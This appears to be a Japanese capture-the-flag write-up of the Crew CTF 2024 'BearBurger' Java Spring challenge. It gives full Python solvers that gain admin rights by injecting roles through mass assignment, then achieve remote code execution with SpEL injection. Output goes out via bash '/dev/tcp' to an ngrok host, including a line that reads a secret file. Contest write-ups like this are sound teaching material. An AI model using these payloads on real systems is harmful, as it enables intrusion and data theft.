🌀

Crew CTF 2024 - BearBurger (follow up)

2024/08/08に公開

(495pts 2/575 クリア率0.35%)

解けなかったけどwriteupは書くシリーズです

色々な料理をみたり料理にコメントしたりできるサイト。

app.warというファイルが配布されるが、これはJavaベースのWebアプリケーションが圧縮されたものらしい。java -jar app.warというコマンドで実行できた。

配布ファイルはjd-guiというデコンパイラを通すことで、中身を見ることができた。実行コマンドはjd-gui app.war

フラグの位置はわからないので、おそらくRCEまで行うことが想定されていそうだ。

✅Step 1: 環境設定

まず、手元で起動しようとしてみたがうまくいかない。データベース関連のエラーが出ていたので、デコンパイラで探してみたところ

WEB-INF/application.properties
spring.datasource.url=${SPRING_DATASOURCE_URL:jdbc:mysql://localhost:3306/BearBurger}
spring.datasource.username=${SPRING_DATASOURCE_USERNAME:BearBurger}
spring.datasource.password=${SPRING_DATASOURCE_PASSWORD:BearBurger@123!@!}

spring.mvc.view.prefix=/WEB-INF/views/
spring.mvc.view.suffix=.jsp

server.error.include-message=always

spring.web.resources.cache.cachecontrol.max-age=369d
server.port=8085


# Hibernate properties
# spring.jpa.hibernate.ddl-auto=update
# spring.jpa.show-sql=true
# spring.jpa.properties.hibernate.format_sql=true
# spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.MySQL8InnoDBDialect
# spring.jpa.open-in-view=false

spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.MySQL8Dialect

と、データベースの設定がわかった。ついでにHibernate propertiesのコメントを外すと自動でデータベースの設定を行ってくれそうなので、解凍→書き換え→再圧縮した。

✅Step 2: Admin昇格

AdminユーザーとCustomerユーザーが存在するが、昇格する以外に利用方法はわからないのでAdmin昇格をまず目指す。

/api/v1/admin/make-admin/{id}というエンドポイントがあるが、

WEB-INF/classes/net.raofin.bearburger/controller/UserController.class
@RequestMapping({"/api/v1/admin"})
public class UserController {
/* snap */
 @GetMapping({"/make-admin/{id}"})
  String makeAdmin(@PathVariable int id) {
    return "Not Developed yet";
  }
/* snap */
}

実装されていないので関係がない。

次に、/registerでどのようなフローでユーザーが作成されているかを見てみると、

WEB-INF/classes/net.raofin.bearburger/service/UserServiceImpl.class
public class UserServiceImpl implements UserService {
  /* snap */
  public void registerUser(User user) {
    user.setPassword(this.passwordEncoder.encode(user.getPassword()));
    this.userRepository.save(user);
    this.roleRepository.save(new Role(user.getUserID()));
  }
  /* snap */
}
WEB-INF/classes/net.raofin.bearburger/repository/UserRepository.class
public interface UserRepository extends JpaRepository<User, Integer> {
  /* snap */
}

ここで、saveJpaRepository由来のものであるが、「userが非正規データで、すでにroleの値を持ってsaveを呼び出したら、勝手に正規化してroleを加えてくれるのでは?」という仮説を試してみる。

test.py
r = s.post(URL + 'register-action', data = {
    """ snap """
    'roles[0].name': 'ADMIN',
    'roles[0].userID': 1,
    '_csrf': csrf,
})

これがうまくいった。

ここまでのソルバー

試しに、出力されるcookieをブラウザに入力するとadminのダッシュボードが表示される

solver1.py
import requests
import re

URL = "http://bearburger.chal.crewc.tf:8085/"
# URL = "http://localhost:8085/"
EVIL = "https://xxx.ngrok.app/"
FILENAME = "tepelchenattack.css"

s = requests.session()

user = {
    'username': "tchenattack",
    'password': 'password',
}

r = s.get(URL + 'register')
csrf = re.findall('name="_csrf" value="(.+)"', r.text)[0]
r = s.post(URL + 'register-action', data = {
    'username': user["username"],
    'email': 'tepel@gmail.com',
    'password': user["password"],
    'cPassword': user["password"],
    'phoneNumber': '08010010101',
    'gender': 'Male',
    'roles[0].name': 'ADMIN',
    'roles[0].userID': 1,
    '_csrf': csrf,
})

r = s.get(URL + "login")
csrf = re.findall('name="_csrf" value="(.+)"', r.text)[0]
r = s.post(URL + "login", data={
    'username': user["username"],
    'password': user["password"],
    '_csrf': csrf,
})
print(s.cookies["JSESSIONID"])

Step 3: SpELインジェクション

SpELとは、Springフレームワークで利用されるテンプレート言語で、Javaで実行できることは大体できる。

WEB-INF/classes/net.raofin.bearburger/service/UserServiceImpl.class
public class UserServiceImpl implements UserService {
  /* snap */
  @Transactional(readOnly = true)
  public List<User> fetchAllUsers() {
    List<User> result = this.userRepository.findAll();
    SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
    for (User user : result) {
      try {
        Expression expression = spelExpressionParser.parseExpression(user.getUsername());
        String str = (String)expression.getValue(String.class);
      } catch (Exception exception) {}
    } 
    return result;
  }
  /* snap */
}

これを見る通り、ユーザー名がSpELとして評価されるが、評価された結果をみることはできない。(ので、自分はここに脆弱性がないと考えてしまった。また、ユーザー名は他のプレイヤーから見える要素なので、ここに脆弱性があるのはまずいだろうという甘い考えもあった)

ここここを見たが、ちょうどいいコマンドが見当たらない。ちゃんと文法を理解する必要がありそうだ。

T(java.lang.Runtime)のようにすると、クラスを参照することができる。したがって、T(java.lang.Runtime).getRuntime().exec("curl http://xxx.ngrok.app')を実行すると、RCEを行うことができる。試しに上記のコマンドのユーザー名を作成してみたところ、自分のサーバーにリクエストがとんだ。

ただし、execの結果はstreamでしか受け取れず、これをうまくTCPかHTTPに直接流す方法が見つからなかった。代わりにjava.net.httpを利用することも考えたが、こちらも非同期であるせいかうまく行かなかった。

そこで、どうにかしてシェルコマンドだけで結果の送信まで実行したい。
試しにT(java.lang.Runtime).getRuntime().exec("bash -c \"curl https://xxx.ngrok.app\"")のようにしてみたが、どうやらスペースで一度分割されてから実行されているみたいで、curl以降の入力を一つの塊としてみてくれない。

したがって、スペースなしで実行する。T(java.lang.Runtime).getRuntime().exec("bash -c {curl,https://xxx.ngrok.app}")で実行してみると手元ではうまくいった。

これをリモートで実行してみると、結果が返ってこない。どうやらcurlwgetもインストールされていないようだ。そこで、ls>/dev/tcp/<IP>/<Port>とするとlsの結果をtcpで送ることができることを利用する。

以上をまとめると、以下のようなソルバーでフラグを入手できた

solver.py

import requests
import re

URL = "http://bearburger.chal.crewc.tf:8085/"
# URL = "http://localhost:8085/"
EVIL = "https://tchen.ngrok.pizza/"

s = requests.session()

user = {
    'username': "tchenattack",
    'password': 'password',
}

r = s.get(URL + 'register')
csrf = re.findall('name="_csrf" value="(.+)"', r.text)[0]
r = s.post(URL + 'register-action', data = {
    'username': user["username"],
    'email': 'tepel@gmail.com',
    'password': user["password"],
    'cPassword': user["password"],
    'phoneNumber': '08010010101',
    'gender': 'Male',
    'roles[0].name': 'ADMIN',
    'roles[0].userID': 1,
    '_csrf': csrf,
})

r = s.get(URL + "login")
csrf = re.findall('name="_csrf" value="(.+)"', r.text)[0]
r = s.post(URL + "login", data={
    'username': user["username"],
    'password': user["password"],
    '_csrf': csrf,
})
# print(s.cookies["JSESSIONID"])

def create_user(shell):
    global s
    spel = f"""T(java.lang.Runtime).getRuntime().exec("{shell}")"""
    r = s.get(URL + "add-user")
    csrf = re.findall('name="_csrf" value="(.+)"', r.text)[0]

    r = s.post(URL + "api/v1/admin/add-user-action", data = {
        'username': spel,
        'email': 'tepel@gmail.com',
        'password': user["password"],
        'cPassword': user["password"],
        'phoneNumber': '08010010101',
        'gender': 'Male',
        '_csrf': csrf,
    })
    print(r.text)

# create_user(f"bash -c {{ls,-la,/app}}>/dev/tcp/0.tcp.jp.ngrok.io/17991")
create_user(f"bash -c {{cat,/app/some_random_secret_haha.txt}}>/dev/tcp/0.tcp.jp.ngrok.io/17991")

r = s.get(URL + "api/v1/admin/fetch-all-users")

まとめ

  • ユーザー入力をORMにそのまま投げつけるのはやめよう!予測できない結果をもたらすことがあるぞ!
  • SpELのインジェクションは理解するといろいろできるぞ!実行結果が見れなくても大丈夫だ!
  • /dev/tcp/<IP>/<Port>は便利そうだぞ!
  • 非想定解には気をつけよう!
  • 人の回答が見えてるときに「ここに答えはないんだな」じゃなくて「もしかしたら答えかもしれない」の疑いをかけよう!

Discussion